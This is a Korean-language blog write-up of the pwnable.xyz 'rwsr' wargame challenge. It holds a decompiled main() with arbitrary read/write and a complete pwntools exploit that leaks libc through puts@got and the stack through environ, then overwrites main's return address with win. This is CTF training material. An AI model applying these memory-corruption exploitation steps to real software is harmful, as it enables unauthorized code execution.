tmxklab

[Pwnable.xyz] rwsr 본문

War Game/Pwnable.xyz

[Pwnable.xyz] rwsr

tmxk4221 2020. 9. 9. 21:53

1. 문제

nc svc.pwnable.xyz 30019

 

1) mitigation 확인

 

2) 문제 확인

  • Read와 Write 2개의 메뉴가 보이며 Read에서는 어떤 주소에 있는 값을 읽는 것 같고 Write는 어떤 주소에 값을 쓰는 것 같다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  const char *v5; // rdi
  char *s; // [rsp+10h] [rbp-10h]

  setup(argc, argv, envp);
  puts("Read Write Sleep Repeat.");
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_ulong();
        if ( v3 != 1 )
          break;
        printf("Addr: ");
        v5 = (const char *)read_ulong();
        puts(v5);
      }
      if ( v3 != 2 )
        break;
      printf("Addr: ");
      s = (char *)read_ulong();
      printf("Value: ");
      *(_QWORD *)s = read_ulong();
    }
  }
  while ( v3 );
  return 0;
}

 


2. 접근방법

원하는 주소에 값을 쓸 수 있으므로 스택의 주소를 알 수 있다면 Write메뉴를 통해 메인 함수의 ret에 win함수를 넣을 수 있을 것 같다.

 

이번 문제에서 libc파일이 주어졌는데 이거를 이용해보자.

 

 

참고) libc의 envrion변수를 이용한 스택 주소 릭

 

공격 프로세스)

  • puts@got값을 넣어 puts addr주소를 릭하고 offset을 빼서 libc base주소를 알아낸다.
  • libc base주소를 알아냈으니 envrion주소를 알 수 있으므로 envrion주소를 넣어서 envrion에 있는 값을 릭한다. → 실제 스택 주소 값
  • 릭된 실제 스택 주소 값과 ret와의 offset을 알고 있으므로 ret주소를 알아낸다.
  • ret에 win주소를 넣는다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"
context(arch="amd64", os="linux", log_level="debug")
#env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./apline-libc-2.28.so")}

#p = process(["./challenge"], env = {'LD_PRELOAD':'./apline-libc-2.28.so'})
p = remote("svc.pwnable.xyz", 30019)
e = ELF("./challenge")
libc = ELF("./alpine-libc-2.28.so")
#gdb.attach(p)

environ_offset = libc.symbols['environ']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']

log.info("environ_offset : "+hex(environ_offset))
log.info("puts_offset    : "+hex(puts_offset))
log.info("puts_got       : "+hex(puts_got))

def read(addr):
    p.sendlineafter("> ", str(1))
    p.sendafter(": ", str(addr))


def write(addr, value):
    p.sendlineafter("> ", str(2))
    p.sendafter(": ", str(addr))
    p.sendafter(": ", str(value))

# 1. leak puts() addr
read(hex(puts_got))

puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
environ_addr = libc_base + environ_offset

log.info("pust_addr    : "+hex(puts_addr))
log.info("libc_base    : "+hex(libc_base))
log.info("environ_addr : "+hex(environ_addr))

# 2. leak stack
read(environ_addr)

leak_stack = u64(p.recv(6).ljust(8, '\x00'))
main_ret = leak_stack - 0xf0

# 3. return to win
write(hex(main_ret), hex(e.symbols['win']))

p.sendlineafter("> ", str(0))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

  • libc의 envrion변수를 이용하여 스택 주소 릭

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] PvP  (0) 2020.09.09
[Pwnable.xyz] bookmark  (0) 2020.09.09
[Pwnable.xyz] fclose  (0) 2020.09.09
[Pwnable.xyz] message  (0) 2020.09.09
[Pwnable.xyz] UAF  (0) 2020.09.09
Comments